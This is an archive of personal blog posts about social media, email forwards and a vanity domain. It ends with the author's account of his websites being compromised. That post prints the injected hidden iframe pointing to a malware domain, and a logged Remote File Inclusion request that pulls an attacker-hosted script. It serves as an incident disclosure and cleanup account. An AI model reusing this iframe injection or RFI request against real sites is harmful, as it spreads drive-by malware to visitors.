Btw
I deleted my Facebook account.
I stopped Tweeting.
I live better now.
Expect to see more of me here.
Azhar Chougle | www.azharc.com
thoughts and thinkings by azhar chougle
Filed under
internet
Fwd:
Since the time Hotmail became popular, people have been sending along chain mails, some of which remain in circulation to this day.
I guess at that time email was so new and fascinating that it didn't come into practical use until a year or so later, until everyone had an email address and large corporations began to formally incorporate it. So until that happened it was pretty much used for chain mails and later, spam.
Today - email is a primary form of communication of course. So chain mails today, are - spam.
Some of them can be funny, some interesting, maybe witty, inspiring, whatever (most of the time it's rubbish though) - but I don't want them in my inbox. I love email and get a lot of it during busy times so I don't like these things coming along interrupting it all.
So I politely ask the person to stop sending them to me. Of course sometimes I get a negative reaction which can't be helped. Forwards are almost a passive way of keeping in touch really (which is never a bad thing) - but there are better ways to go about it. The best one being Twitter of course, but explaining Twitter to people can be painful.
The forwards I do accept : the personal ones. The ones that come only to me, because it means that the other person knows that *I* will find it interesting (instead of taking a chafe and sending it off to the entire address book).
And even better - Delicious. A fantastic underutilized way of sharing that hasn't penetrated enough to make it more network-oriented and social rather than personal bookmarking.
So don't be offended if I respond with a 'Stop, please' to a forward. No offence, really.
Composed entirely on an iPhone, so ignore spelling errors.
Azhar Chougle | via iPhone
Comments [0]
You forgot my name?
Azhar Chougle.
Not the most memorable one but I'm utterly thankful it's 'internet-unique', there's only one Azhar Chougle that shows up when you Google it, and that's me. Hopefully it'll stay that way.
My name not being memorable (here in America, not pronounceable either) is quite an irritant. Here I'm known solely as Az, Oz, Ozzie or (thankfully) rarely Azu. So outside of class, it's pretty difficult for anyone to find me online. So whenever it comes up, I have to find a piece of tissue paper (and then a pen) to jot it down or I have to spell it out - a-z-h-a-r-c-dot-com. That's irritating. What it means is that there's less of a chance that person will even end up paying me a visit (and let's get real - I'm going to be depending on that for an income pretty soon)
Paul Stamatiou had this problem too, which is why he got pstam.com because most people couldn't remember paulstamatiou.com
So I've cooked up my own fun strategy.
And I'm going to have a lot of fun with it. That domain (very surprising it was available, has no one thought of this before?) redirects to my personal website. Not only does this make it easier for me to refer people to my website (can't you just imagine it - "Yeah, just go to youforgotmyname.com" ... subsequently convincing them it isn't a joke) but there's a lot of things one can do with that sort of domain. It's such a curious dot-com that (hopefully) some people will be tempted to visit it once they hear or see it. And that's only more good for me.
So I'm going to put a little sign on my door that says youforgotmyname.com
A shirt, blank on the front, youforgotmyname.com on the back.
And bumper stickers - youforgotmyname.com!
See, isn't it just completely lodged in your head now? It's extremely memorable since it's a sentence.
Of course people will still forget my name, but at least they'll manage to get to it now.
Azhar Chougle | www.azharc.com
Comments [5]
Twitter isn't Mainstream
Of course, not too long ago, there was a point where e-mail wasn't mainstream. But, most people (if not all) who discovered e-mail, tagged along and told everyone else about it. E-mail is pretty simple. Type it out, pick who it goes to, done.
When you think about it, we've come a long way from e-mail. Most notably of course - instant messaging, which also is mainstream - essentially it's e-mail, just, instant. There's not much to it, so people got hooked?Hear me out, I'm going somewhere with this.
Then came Twitter.
Twitter isn't mainstream (yet?).
Sure, every other person now knows what it's about, but they aren't on it, because they can't be.
Why? It isn't - Type it out, pick who it goes to, done, like every other form of personal internet/mobile/physical communication out there.
It's far more open, complex and marvelous than that. Some people find it scary, others pointless. They just don't get it. Just recently I'm seeing people who criticized me for joining Twitter ("Twitter is so stupid... you're stupid") joining themselves (you know who you are). As expected, they couldn't grasp what all the fuss is about and left. Some of them didn't even get to their first tweet.
Twitter is for a different kind of person - this isn't followed by a 'for now?' because it always will be in my opinion. You don't have to be a geek to treasure everything that is Twitter. But you can't be the sort of person who owns a MacBook purely for Photo Booth (if you know what I mean). Twitter works best if you're an internet-person. Your natural tendencies are to blog - you connect, you explore. You do something more than just log into Facebook and start up that MSN Messenger thing and nudge the brains out of people (ew).
Twitter isn't straightforward - you need to learn how to use it. What @replies are, how to send a DM, what's-this-search-thing, the clients, the apps and all that shazzaz. Some people just won't make the effort, give up and scaddadle, and those are the ones who will end up coming back again when Twitter goes mainstream. Right now we're at the "Hey, what's this Twitter thing everyone is talking about" stage. If Twitter goes mainstream, people will be forced to join just because, well, everyone else already has. Which is quite a sad affair but unfortunately true. But this is only if Twitter does go mainstream.
It's quite a strange scenario when you think about it. Maybe something like this will happen. Assume there are 100 number of Facebook users joining twitter each second. 30 of them won't get to the first tweet. Another 40 will leave after a week. 20 more after a month. 10 of them will stay on and do themselves a favor by figuring it out and joining the community. When this 10% grows to 10% (or even 5%) of the overall Facebook population, there'll be this landslide of people just falling into Twitter. That doesn't mean they're going to stay for long, but - Well, it's just a theory.
Personally, I love the fact Twitter isn't for everyone. The twitterati seems to simply be a great crowd at the moment. It doesn't have a pool of those damn YouTube commenters and Facebook "I'm bored..." -ers to send people into incessant facepalming. Don't get me wrong, I'm not being selfish ("No Twitter for you!"). Anyone is welcome, and obviously I have no way to stop you or anyone from joining. Just don't come along, join, leave and then shout out "Twitter is pointless." just because you don't get it.
Random thoughts, random thoughts.
Azhar Chougle | www.azharc.com
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Last I liked
I've been on Last.fm and iLike but of course it makes sense to only be on one of them. I noticed that the Last.fm community is far more intelligent/diverse/musical.
Comments [2]
What just happened?
I woke up today to a complete nightmare. All of my websites were 'infected'. They were tagged by Google as malicious (and they were right this time). I had no idea what was going on. Google said the usual, this site may harm your computer etc. and then referred to all my sites as this domain 'litetopfindworld.cn'
Of course my first reaction was to blame my host, Media Temple, and assume I'd been hacked or something of the sort.
After sending a few angry messages to them (sorry about that), seems they had nothing to do with it. Essentially, it was my fault (sorry again). Of course, I had no idea what the source was, what it was doing, or how to rectify it.
Note this is at 10AM, and I have a class at noon, so I was pretty tense.
Eventually I find this : http://google.com/safebrowsing/diagnostic?tpl=safari&site=litetopfindworld.cn&hl=en-us which unfortunately means that anyone who visited any of the sites hosted on my server may have been infected with up to 212 trojans (I say *may* because I can't be sure - read further down the page I just linked to). Please run Ad-Aware or something of the sort. I sincerely apologize for this, but as you will find out it isn't completely my fault (but you can blame me anyways). Again, any anti-spyware program should do it. If you had an anti-virus running in the background, you should be alright, but do scan anyways. Mac users, you're fine, but if you're concerned go ahead and run MacScan.
So it seems this malicious code (do not visit the site below) :
<iframe src="http://litetopfindworld.cn/in.cgi?cocacola32" width=1 height=1 style="visibility: hidden"></iframe>
Was being added next to the <body> tag on all my pages. Essentially it was secretly loading a malicious webpage, which you wouldn't know of, unless you looked at the code, or Google stopped you (if you are logged in to your Google account while browsing, it automatically does, by default)
I managed to remove the line of code from all my sites manually. However, it kept reappearing on my blog.
At which point Media Temple's support staff asked me to SSH in and use this command to search for scripts that may have been infiltrated, using a method called Remote File Inclusion.
grep "?*=http://" ../../logs/access_log*| awk '/Jan/ && /libww/ && $9 !~/^4/'
Which returned :
../../logs/access_log-2009-01-30-12.processed:72.47.202.35 - - [30/Jan/2009:12:17:41 -0800] "GET /thedailysunrise.com/?_SERVER[DOCUMENT_ROOT]=http://www.aerothaiunion.com/sik.txt? HTTP/1.1" 200 37091 "-" "libwww-perl/5.79"
... and I didn't really know what it means. So I asked, turns out the source was my index.php file on thedailysunrise.com. There are two scripts on that page which could have been targeted for such an attack. One was Text-Link-Ads and the other was my Stats tracking, which was done by SlimStat.
If it was TLA, I would have received an e-mail to update my code. Thousands of people use it, and a vulnerability would spread fast and someone would say something. So it had to be SlimStat. I'm not exactly sure how it all worked, but the line of code that was on all my pages, to include SlimStat's function, was compromised, and injecting that line of code on all my pages, rendering all my websites dangerous.
So I got rid of SlimStat.
And now everything seems to be fine. Again, sorry to everyone affected, and Media Temple, for doubting them (again).
Time to ante my SSH skills.
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